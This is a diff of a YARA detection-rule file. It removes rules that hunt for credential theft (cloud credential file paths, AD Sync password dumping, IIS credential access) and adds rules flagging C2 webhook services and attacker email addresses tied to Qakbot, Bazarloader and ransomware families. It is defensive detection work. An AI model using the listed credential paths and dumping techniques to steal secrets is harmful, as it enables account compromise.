-		id = "38087b99-5f64-58c0-b3dc-51c7981912e7"
-		date = "2020-03-08"
-		modified = "2020-12-28"
-		reference = "https://github.com/orlyjamie/mimikittenz/blob/master/Invoke-mimikittenz.ps1"
-		source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/hunt_capab_credentials_access.yara#L3-L22"
-		license_url = "N/A"
-		logic_hash = "0ecc15dd51807ccd1c35b5a6152aa16714d8a14889524163a421f79becd6a775"
-		score = 60
-		quality = 45
-		tags = ""
+		description = "Detect executables referencing public and free service interface testing and dev services as means of CnC"
+		author = "ditekSHen"
+		id = "f6ac752b-0afc-5834-82b4-4dbcfded2f3a"
+		date = "2024-06-08"
+		modified = "2024-06-08"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L2450-L2461"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "2a7b4fe7ddb41a7ae895a2ac8e9bb5eda61f5b86ca35575be32d65611e2d0a9e"
+		score = 40
+		quality = 37
+		tags = "FILE"
+		importance = 20
 
 	strings:
-		$p1 = "&password=" xor
-		$p2 = "&login_password=" xor
-		$p3 = "&pass=" xor
-		$p4 = "&Passwd=" xor
-		$p5 = "&PersistentCookie=" xor
-		$p6 = "password%5D=" xor
-		$u1 = "&username=" xor
-		$u2 = "&email=" xor
-		$u3 = "login=" xor
-		$u4 = "login_email=" xor
-		$u5 = "user%5Bemail%5D=" xor
-		$reg = ".{1," xor
+		$s1 = "mockbin.org/bin" ascii wide nocase
+		$s2 = "run.mocky.io/v3" ascii wide nocase
+		$s3 = "webhook.site/" ascii wide nocase
+		$s4 = "devtunnels.ms/" ascii wide nocase
 
 	condition:
-		3 of ($p*) and 3 of ($u*) and #reg>3
+		( uint16(0)==0x5a4d or uint16(0)==0x457f or uint16(0)==0xfacf) and 1 of them
 }
-rule SBOUSSEADEN_Webcreds_Regexp_B64
+rule DITEKSHEN_INDICATOR_KB_ID_Bazarloader : FILE
 {
 	meta:
-		description = "No description has been set in the source file - SBousseaden"
-		author = "SBousseaden"
-		id = "85283a81-5bc3-5e3f-89f6-bcc1f40f3dc2"
-		date = "2020-03-08"
-		modified = "2020-12-28"
-		reference = "https://github.com/orlyjamie/mimikittenz/blob/master/Invoke-mimikittenz.ps1"
-		source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/hunt_capab_credentials_access.yara#L24-L43"
-		license_url = "N/A"
-		logic_hash = "432c812177a50c50d08feb88a1293ecb625b9b0aa6a839789da150255bc83228"
+		description = "Detects Bazar executables with specific email addresses found in the code signing certificate"
+		author = "ditekShen"
+		id = "94b814e3-56c2-5cdb-9335-c92eea8ec668"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L11-L21"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "fd47a1d996c78a6efc144f0fe0a28951c34becab3101e7d25acc980bb6b9f8ce"
 		score = 75
-		quality = 75
-		tags = ""
+		quality = 71
+		tags = "FILE"
 
 	strings:
-		$p1 = "&password=" base64
-		$p2 = "&login_password=" base64
-		$p3 = "&pass=" base64
-		$p4 = "&Passwd=" base64
-		$p5 = "&PersistentCookie=" base64
-		$p6 = "password%5D=" base64
-		$u1 = "&username=" base64
-		$u2 = "&email=" base64
-		$u3 = "login=" base64
-		$u4 = "login_email=" base64
-		$u5 = "user%5Bemail%5D=" base64
-		$reg = ".{1,"
+		$s1 = "skarabeyllc@gmail.com" ascii wide nocase
+		$s2 = "admin@intell-it.ru" ascii wide nocase
+		$s3 = "support@pro-kon.ru" ascii wide
 
 	condition:
-		3 of ($p*) and 3 of ($u*) and #reg>3
+		uint16(0)==0x5a4d and any of them
 }
-rule SBOUSSEADEN_Adsync_Creddump_Wide
+rule DITEKSHEN_INDICATOR_KB_ID_Qakbot : FILE
 {
 	meta:
-		description = "AD Connect Sync Credential Extract"
-		author = "SBousseaden"
-		id = "ccbfa79a-924b-512a-a9e9-005567b4fe83"
-		date = "2020-04-08"
-		modified = "2020-12-28"
-		reference = "https://blog.xpnsec.com/azuread-connect-for-redteam/"
-		source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/hunt_capab_credentials_access.yara#L45-L67"
-		license_url = "N/A"
-		logic_hash = "e8b0ff1fa9117a98799239d37c5a0ae8be25c2c2519c4fc2a1d7f085a9ebe2e1"
+		description = "Detects QakBot executables with specific email addresses found in the code signing certificate"
+		author = "ditekShen"
+		id = "24ad36b2-5022-5f72-b01c-fbb64da20f34"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L23-L37"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "7a38069b3b553cba1a789dac706638382dae5bb748b0c10ef50138879767b6dd"
 		score = 75
-		quality = 75
-		tags = ""
+		quality = 61
+		tags = "FILE"
 
 	strings:
-		$s1 = "private_configuration_xml" wide xor
-		$s2 = "LoadKeySet" xor
-		$s3 = "encrypted_configuration" wide xor
-		$s4 = "GetActiveCredentialKey" xor
-		$s5 = "DecryptBase64ToString" xor
-		$s6 = "KeyManager" xor
-		$s7 = "(LocalDB)\\.\\ADSync" wide xor
-		$s8 = "mms_management_agent" wide xor
-		$s9 = "keyset_id" wide xor
-		$s10 = "xp_cmdshell" xor
-		$s11 = "System.Data.SqlClient"
-		$s12 = "Password" wide xor
-		$fp1 = "mmsutils\\mmsutils.pdb"
+		$s1 = "hutter.s94@yahoo.com" ascii wide nocase
+		$s2 = "andrej.vrear@aol.com" ascii wide nocase
+		$s3 = "klaus.pedersen@aol.com" ascii wide nocase
+		$s4 = "a.spendl@aol.com" ascii wide nocase
+		$s5 = "mjemec@aol.com" ascii wide nocase
+		$s6 = "robert.sijanec@yahoo.com" ascii wide nocase
+		$s7 = "mitja.vidovi@aol.com" ascii wide nocase
 
 	condition:
-		5 of them and not $fp1
+		uint16(0)==0x5a4d and any of them
 }
-rule SBOUSSEADEN_Adsync_Creddump_Xor
+rule DITEKSHEN_INDICATOR_KB_ID_Amadey : FILE
 {
 	meta:
-		description = "Azure AdSync Service Account Password Dumping"
-		author = "SBousseaden"
-		id = "e0d951ec-ec39-5f37-b5a8-ddd0b1dc588d"
-		date = "2020-03-08"
-		modified = "2020-12-28"
-		reference = "https://blog.xpnsec.com/azuread-connect-for-redteam/"
-		source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/hunt_capab_credentials_access.yara#L69-L89"
-		license_url = "N/A"
-		logic_hash = "831ed0410000ad9dfa7be2ab1f64a4130810465cf699bb3e45c93075db6fdb74"
+		description = "Detects Amadey executables with specific email addresses found in the code signing certificate"
+		author = "ditekShen"
+		id = "f9abbf1d-2077-52a8-bfb0-df3732649624"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L39-L47"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "3df3fe67835f76e51743b1b4fa2cbc48277d82689c2fc27457b4d7d820e56e43"
 		score = 75
-		quality = 75
-		tags = ""
+		quality = 73
+		tags = "FILE"
 
 	strings:
-		$a1 = "private_configuration_xml" xor
-		$a2 = "LoadKeySet" xor
-		$a3 = "encrypted_configuration" xor
-		$a4 = "GetActiveCredentialKey" xor
-		$a5 = "DecryptBase64ToString" xor
-		$a6 = "Cryptography.KeyManager" xor
-		$b1 = "mms_management_agent" xor
-		$b2 = "Microsoft Azure AD Sync\\Bin\\mcrypt.dl" xor
-		$b3 = "xp_cmdshell" xor
-		$b4 = "Password" xor
-		$b5 = "forest-login-user" xor
-		$b6 = "forest-login-domain" xor
+		$s1 = "tochka.director@gmail.com" ascii wide nocase
 
 	condition:
-		4 of ($a*) or 4 of ($b*)
+		uint16(0)==0x5a4d and any of them
 }
-rule SBOUSSEADEN_Adsync_Creddump_V64
+rule DITEKSHEN_INDICATOR_KB_ID_UNK01 : FILE
 {
 	meta:
-		description = "Azure AdSync Service Account Password Dumping"
-		author = "SBousseaden"
-		id = "9f536ff2-95b6-5f93-8c6f-e3738d6404c7"
-		date = "2020-03-08"
-		modified = "2020-12-28"
-		reference = "https://blog.xpnsec.com/azuread-connect-for-redteam/"
-		source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/hunt_capab_credentials_access.yara#L91-L111"
-		license_url = "N/A"
-		logic_hash = "e2465fec6dd9384d5d7f31f1c0e7661f4fbd5e3f87a14abfcb9b0412985cb1d6"
-		score = 75
-		quality = 75
-		tags = ""
-
-	strings:
-		$a1 = "private_configuration_xml" base64
-		$a2 = "LoadKeySet" base64
-		$a3 = "encrypted_configuration" base64
-		$a4 = "GetActiveCredentialKey" base64
-		$a5 = "DecryptBase64ToString" base64
-		$a6 = "Cryptography.KeyManager" base64
-		$b1 = "mms_management_agent" base64
-		$b2 = "Microsoft Azure AD Sync\\Bin\\mcrypt.dl" base64
-		$b3 = "xp_cmdshell" base64
-		$b4 = "Password" base64
-		$b5 = "forest-login-user" base64
-		$b6 = "forest-login-domain" base64
+		description = "Detects Amadey executables with specific email addresses found in the code signing certificate"
+		author = "ditekShen"
+		id = "56e83bfb-e17d-5d27-87fa-e275cc540148"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L49-L58"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "d85461f74186fcabcbf7f2bc1dce06b0012c504cf3235a6fc3e1499dc6f8a3ee"
+		score = 75
+		quality = 73
+		tags = "FILE"
+		hash1 = "37d08a64868c35c5bae8f5155cc669486590951ea80dd9da61ec38defb89a146"
+
+	strings:
+		$s1 = "etienne@tetracerous.br" ascii wide nocase
 
 	condition:
-		4 of ($a*) or 4 of ($b*)
+		uint16(0)==0x5a4d and any of them
 }
-rule SBOUSSEADEN_Adsync_Creddump_Xwide
+rule DITEKSHEN_INDICATOR_KB_ID_Ransomware_Lockergoga
 {
 	meta:
-		description = "Azure AdSync Service Account Password Dumping"
-		author = "SBousseaden"
-		id = "a8c3e60a-99b8-50c8-992c-fbe18499a615"
-		date = "2020-03-08"
-		modified = "2020-12-28"
-		reference = "https://blog.xpnsec.com/azuread-connect-for-redteam/"
-		source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/hunt_capab_credentials_access.yara#L112-L132"
-		license_url = "N/A"
-		logic_hash = "9015005494cb3cc52645a9c82f6179992942243a816b05273bc26f58ac70a2e0"
+		description = "Detects files referencing identities associated with LockerGoga ransomware"
+		author = "ditekShen"
+		id = "ff257dae-d09b-52b3-93ca-68a560231b0d"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L60-L80"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "f3474f92d935dda0d4c3b11b6934aede69ed949c8ba4d196bfe320476d39ac36"
 		score = 75
-		quality = 75
+		quality = 49
 		tags = ""
 
 	strings:
-		$a1 = "private_configuration_xml" wide xor
-		$a2 = "LoadKeySet" wide xor
-		$a3 = "encrypted_configuration" wide xor
-		$a4 = "GetActiveCredentialKey" wide xor
-		$a5 = "DecryptBase64ToString" wide xor
-		$a6 = "Cryptography.KeyManager" wide xor
-		$b1 = "mms_management_agent" wide xor
-		$b2 = "Microsoft Azure AD Sync\\Bin\\mcrypt.dl" wide xor
-		$b3 = "xp_cmdshell" wide xor
-		$b4 = "Password" wide xor
-		$b5 = "forest-login-user" wide xor
-		$b6 = "forest-login-domain" wide xor
+		$s1 = "abbschevis@protonmail.com" nocase ascii wide
+		$s2 = "aperywsqaroci@o2.pl" nocase ascii wide
+		$s3 = "asuxidoruraep1999@o2.pl" nocase ascii wide
+		$s4 = "dharmaparrack@protonmail.com" nocase ascii wide
+		$s5 = "ijuqodisunovib98@o2.pl" nocase ascii wide
+		$s6 = "mayarchenot@protonmail.com" nocase ascii wide
+		$s7 = "mikllimiteds@gmail.com0" nocase ascii wide
+		$s8 = "phanthavongsaneveyah@protonmail.com" nocase ascii wide
+		$s9 = "qicifomuejijika@o2.pl" nocase ascii wide
+		$s10 = "rezawyreedipi1998@o2.pl" nocase ascii wide
+		$s11 = "sayanwalsworth96@protonmail.com" nocase ascii wide
+		$s12 = "suzumcpherson@protonmail.com" nocase ascii wide
+		$s13 = "wyattpettigrew8922555@mail.com" nocase ascii wide
 
 	condition:
-		4 of ($a*) or 4 of ($b*)
+		any of them
 }
-rule SBOUSSEADEN_Hunt_Credaccess_Cloud
+rule DITEKSHEN_INDICATOR_KB_ID_Ransomware_Goldenaxe
 {
 	meta:
-		description = "hunt for the presence of more than 1 known cloud client utility related credential paths"
-		author = "SBousseaden"
-		id = "a1916a13-ba08-57b4-8615-5ff08986e128"
-		date = "2020-07-20"
-		modified = "2020-12-28"
-		reference = "https://github.com/sbousseaden/YaraHunts/"
-		source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/hunt_capab_credentials_access.yara#L134-L150"
-		license_url = "N/A"
-		logic_hash = "09814a4bb118b5015936943c8585475fd88e0b49d08587fedeeb2c0b4d7ab979"
-		score = 50
-		quality = 75
+		description = "Detects files referencing identities associated with GoldenAxe ransomware"
+		author = "ditekShen"
+		id = "cd6486eb-742f-50fb-bd99-c5d778886477"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L82-L91"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "2540da85880dc08b51a2d096cefd8ed3cb14ccd171b71b434ccf26e7c5f1b54b"
+		score = 75
+		quality = 71
 		tags = ""
 
 	strings:
-		$aws = "\\.aws\\credentials" xor
-		$gcloud1 = "\\gcloud\\credentials.db" xor
-		$gcloud2 = "\\gcloud\\legacy_credentials" xor
-		$gcloud3 = "\\gcloud\\access_tokens.db" xor
-		$azure1 = "\\.azure\\accessTokens.json" xor
-		$azure2 = "\\.azure\\azureProfile.json" xor
-		$git = "\\.config\\git\\credentials" xor
-		$slack1 = "\\Slack\\Cookies" xor
-		$slack2 = "\\Slack\\StaleCookies-8" xor
+		$s1 = "xxback@keemail.me" nocase ascii wide
+		$s2 = "darkusmbackup@protonmail.com" nocase ascii wide
 
 	condition:
-		4 of them
+		any of them
 }
-rule SBOUSSEADEN_Hunt_Credaccess_Cloud_Wide_Xor
+rule DITEKSHEN_INDICATOR_KB_ID_Ransomware_Getcrypt
 {
 	meta:
-		description = "hunt for the presence of more than 1 known cloud client utility related credential paths"
-		author = "SBousseaden"
-		id = "8e48151c-8a9b-57b1-8464-5be28afc347b"
-		date = "2020-07-20"
-		modified = "2020-12-28"
-		reference = "https://github.com/sbousseaden/YaraHunts/"
-		source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/hunt_capab_credentials_access.yara#L152-L168"
-		license_url = "N/A"
-		logic_hash = "0625fc019eeeac8c219fa997c5957b69e5073c82d5cb1b880a5c1f7295ba2b7a"
-		score = 50
-		quality = 75
+		description = "Detects files referencing identities associated with GetCrypt ransomware"
+		author = "ditekShen"
+		id = "b5e31968-e626-5fbb-8bfe-942b48737367"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L93-L106"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "401f4e69235873adc271f8861912ec17daaa71a798c83df8cc3a9b88520708c9"
+		score = 75
+		quality = 63
 		tags = ""
 
 	strings:
-		$aws = "\\.aws\\credentials" wide xor
-		$gcloud1 = "\\gcloud\\credentials.db" wide xor
-		$gcloud2 = "\\gcloud\\legacy_credentials" wide xor
-		$gcloud3 = "\\gcloud\\access_tokens.db" wide xor
-		$azure1 = "\\.azure\\accessTokens.json" wide xor
-		$azure2 = "\\.azure\\azureProfile.json" wide xor
-		$git = "\\.config\\git\\credentials" wide xor
-		$slack1 = "\\Slack\\Cookies" wide xor
-		$slack2 = "\\Slack\\StaleCookies-8" wide xor
+		$s1 = "getcrypt@cock.li" nocase ascii wide
+		$s2 = "cryptget@tutanota.com" nocase ascii wide
+		$s3 = "cryptget@tutanota.com" nocase ascii wide
+		$s4 = "offtitan@pm.me" nocase ascii wide
+		$s5 = "offtitan@cock.li" nocase ascii wide
+		$s6 = "un42@protonmail.com" nocase ascii wide
 
 	condition:
-		4 of them
+		any of them
 }
-rule SBOUSSEADEN_Hunt_Credaccess_Cloud_Base64
+rule DITEKSHEN_INDICATOR_KB_ID_Ransomware_Cryptomix
 {
 	meta:
-		description = "hunt for the presence of more than 1 known cloud client utility related credential paths"
-		author = "SBousseaden"
-		id = "34460cb1-acf4-53e7-9c95-f69824a87836"
-		date = "2020-07-20"
-		modified = "2020-12-28"
-		reference = "https://github.com/sbousseaden/YaraHunts/"
-		source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/hunt_capab_credentials_access.yara#L170-L186"
-		license_url = "N/A"
-		logic_hash = "bf0acdc6e72e3528a93709b99f40aa13b45d9a3d22d8373d54414cc9be49d4d0"
-		score = 50
-		quality = 75
+		description = "Detects files referencing identities associated with CryptoMix ransomware"
+		author = "ditekShen"
+		id = "7e623d06-36e8-576d-b261-d562eccf549b"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L108-L123"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "27b75a476229fc877c316f7a61d1ed647f5a67ac44a174d86c084063f039b20c"
+		score = 75
+		quality = 34
 		tags = ""
 
 	strings:
-		$aws = "\\.aws\\credentials" base64
-		$gcloud1 = "\\gcloud\\credentials.db" base64
-		$gcloud2 = "\\gcloud\\legacy_credentials" base64
-		$gcloud3 = "\\gcloud\\access_tokens.db" base64
-		$azure1 = "\\.azure\\accessTokens.json" base64
-		$azure2 = "\\.azure\\azureProfile.json" base64
-		$git = "\\.config\\git\\credentials" base64
-		$slack1 = "\\Slack\\Cookies" base64
-		$slack2 = "\\Slack\\StaleCookies-8" base64
+		$s1 = "portstatrelea1982@protonmail.om" ascii wide nocase
+		$s2 = "unlock@eqaltech.su" ascii wide nocase
+		$s3 = "unlock@royalmail.su" ascii wide nocase
+		$s4 = "adexsin276@gmail.com" ascii wide nocase
+		$s5 = "nbactocepnyou@protonmail.com" ascii wide nocase
+		$s6 = "nunlock@eqaltech.su" ascii wide nocase
+		$s7 = "nsnlock@royalmail.su" ascii wide nocase
+		$s8 = "cersiacsofal@protonmail.com" ascii wide nocase
 
 	condition:
-		4 of them
+		any of them
 }
-rule SBOUSSEADEN_Hunt_Credaccess_Cloud_Wide_Base64
+rule DITEKSHEN_INDICATOR_KB_ID_Ransomware_Buran
 {
 	meta:
-		description = "hunt for the presence of more than 1 known cloud client utility related credential paths"
-		author = "SBousseaden"
-		id = "5c9a77b6-612b-5d5d-926c-833e49f8020e"
-		date = "2020-07-20"
-		modified = "2020-12-28"
-		reference = "https://github.com/sbousseaden/YaraHunts/"
-		source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/hunt_capab_credentials_access.yara#L188-L204"
-		license_url = "N/A"
-		logic_hash = "1dd7aba89ddef2d18807bef77abd106a74f2e339e1e3bbd102c2edee14ffcf6f"
-		score = 50
-		quality = 75
+		description = "Detects files referencing identities associated with Buran ransomware"
+		author = "ditekShen"
+		id = "63cdda3f-78ed-5ce5-a8e0-e0893f2c314e"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L125-L140"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "685126efa7f90ce296fc616bd8d5d89a5b4b9aba8b60601b29534de21a0d0015"
+		score = 75
+		quality = 59
 		tags = ""
 
 	strings:
-		$aws = "\\.aws\\credentials" wide base64
-		$gcloud1 = "\\gcloud\\credentials.db" wide base64
-		$gcloud2 = "\\gcloud\\legacy_credentials" wide base64
-		$gcloud3 = "\\gcloud\\access_tokens.db" wide base64
-		$azure1 = "\\.azure\\accessTokens.json" wide base64
-		$azure2 = "\\.azure\\azureProfile.json" wide base64
-		$git = "\\.config\\git\\credentials" wide base64
-		$slack1 = "\\Slack\\Cookies" wide base64
-		$slack2 = "\\Slack\\StaleCookies-8" wide base64
+		$s1 = "recovery_server@protonmail.com" ascii wide nocase
+		$s2 = "recovery1server@cock.li" ascii wide nocase
+		$s3 = "polssh1@protonmail.com" ascii wide nocase
+		$s4 = "polssh@protonmail.com" ascii wide nocase
+		$s5 = "buransupport@exploit.im" ascii wide nocase
+		$s6 = "buransupport@xmpp.jp" ascii wide nocase
+		$s7 = "jacksteam2018@protonmail.com" ascii wide nocase
+		$s8 = "notesteam2018@tutanota.com" ascii wide nocase
 
 	condition:
-		4 of them
+		any of them
 }
-rule SBOUSSEADEN_Hunt_Credaccess_Iis
+rule DITEKSHEN_INDICATOR_KB_ID_Ransomware_Ransomwareexx
 {
 	meta:
-		description = "hunt for strings related to iis credential access"
-		author = "SBousseaden"
-		id = "0edfb8a5-83ab-5d6f-b8c9-7d3e03a6e32a"
-		date = "2020-07-20"
-		modified = "2020-12-28"
-		reference = "https://github.com/sbousseaden/YaraHunts/"
-		source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/hunt_capab_credentials_access.yara#L206-L219"
-		license_url = "N/A"
-		logic_hash = "b193e40e932d3168c826baaa070b2484e7e4781a481ab911a9526f9bc23d24a1"
-		score = 50
+		description = "Detects files referencing identities associated with RansomwareEXX Linux ransomware"
+		author = "ditekShen"
+		id = "dfcff8cb-c50c-559e-b5b9-8c2cdac7a3dc"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L142-L150"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "a83ada5d29c6d62a292c4b3a1379558cddcaf63d97dbdfc6afd27cc52f6f656d"
+		score = 75
 		quality = 73
 		tags = ""
 
 	strings:
-		$a1 = "aspnet_regiis.exe" nocase
-		$a2 = "connectionStrings" nocase
-		$a3 = "web.config" nocase
-		$a4 = "-pdf" nocase
-		$b1 = "appcmd.exe" nocase
-		$b2 = "/text:password"
+		$s1 = "france.eigs@protonmail.com" ascii wide nocase
 
 	condition:
-		( all of ($a*) or all of ($b*))
+		any of them
 }
-rule SBOUSSEADEN_Hunt_Credaccess_Iis_Xor
+rule DITEKSHEN_INDICATOR_KB_ID_Ransomware_Phobos
 {
 	meta:
-		description = "hunt for strings related to iis credential access"
-		author = "SBousseaden"
-		id = "ed5dd469-cf08-5eb1-bfde-36460c10197b"
-		date = "2020-07-20"
-		modified = "2020-12-28"
-		reference = "https://github.com/sbousseaden/YaraHunts/"
-		source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/hunt_capab_credentials_access.yara#L221-L234"
-		license_url = "N/A"
-		logic_hash = "58c316238cacfbfd5a539d6dbae9bc31836c414d5179ca5c40aa2cfae6c69655"
-		score = 60
-		quality = 45
+		description = "Detects files referencing identities associated with Phobos ransomware"
+		author = "ditekShen"
+		id = "cee09220-4038-5190-b595-28f67c845588"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L152-L161"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "cf9e163d2315d465afb47bf83f30d5d27e14c4cbbc1c235dcb15b75fb509ba7d"
+		score = 75
+		quality = 71
 		tags = ""
 
 	strings:
-		$a1 = "aspnet_regiis.exe" wide xor
-		$a2 = "connectionStrings" wide xor
-		$a3 = "web.config" wide xor
-		$a4 = "-pdf" wide xor
-		$b1 = "appcmd.exe" wide xor
-		$b2 = "/text:password" wide xor
+		$s1 = "helprecover@foxmail.com" ascii wide nocase
+		$s2 = "recoverhelp2020@thesecure.biz" ascii wide nocase
 
 	condition:
-		( all of ($a*) or all of ($b*))
+		any of them
 }
-rule SBOUSSEADEN_Hunt_Credaccess_Iis_Base64
+rule DITEKSHEN_INDICATOR_KB_ID_Ransomware_Epsilon
 {
 	meta:
-		description = "hunt for strings related to iis credential access"
-		author = "SBousseaden"
-		id = "3a6b41b1-5a6a-536e-ac99-fb45ec460767"
-		date = "2020-07-20"
-		modified = "2020-12-28"
-		reference = "https://github.com/sbousseaden/YaraHunts/"
-		source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/hunt_capab_credentials_access.yara#L236-L249"
-		license_url = "N/A"
-		logic_hash = "b09c4cfaefeae28cb9381ae7b94ef970f10a6a265a3e40766d2a8c109b2df054"
-		score = 50
-		quality = 75
+		description = "Detects files referencing identities associated with Epsilon ransomware"
+		author = "ditekShen"
+		id = "acdeb3b1-872b-5892-9dfe-2e506f767da2"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L163-L171"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "163694ed2ae181764fc6e62027487d183114be35a689dd44d4d9761149df244b"
+		score = 75
+		quality = 73
 		tags = ""
 
 	strings:
-		$a1 = "aspnet_regiis.exe" base64
-		$a2 = "connectionStrings" base64
-		$a3 = "web.config" base64
-		$a4 = "-pdf" base64
-		$b1 = "appcmd.exe" base64
-		$b2 = "/text:password" base64
+		$s1 = "neftet@tutanota.com" ascii wide nocase
 
 	condition:
-		(3 of ($a*) or all of ($b*))
+		any of them
 }
-rule SBOUSSEADEN_Hunt_Credaccess_Iis_Wide_Base64
+rule DITEKSHEN_INDICATOR_KB_ID_Ransomware_Thanos
 {
 	meta:
-		description = "hunt for strings related to iis credential access"
-		author = "SBousseaden"
-		id = "9e709338-2b61-53b6-99b4-36b52991bc27"
-		date = "2020-07-20"
-		modified = "2020-12-28"
-		reference = "https://github.com/sbousseaden/YaraHunts/"
-		source_url = "https://github.com/sbousseaden/YaraHunts//blob/71b27a2a7c57c2aa1877a11d8933167794e2b4fb/hunt_capab_credentials_access.yara#L251-L264"
-		license_url = "N/A"
-		logic_hash = "6b06ef3a19fc4ce4d6a3f23815ac411094574cf15bfcc18d675017c7e357d1cf"
-		score = 50
-		quality = 75
+		description = "Detects files referencing identities associated with Thanos ransomware"
+		author = "ditekShen"
+		id = "22ffb4c9-f113-5d3e-a466-6c384c0c6e8a"
+		date = "2024-01-23"
+		modified = "2024-01-23"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L173-L182"
+		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
+		logic_hash = "039ea384136a1aaa261702ed75ab9358aaa1ec2d5a8d35fe4789647f39490c7c"
+		score = 75
+		quality = 71
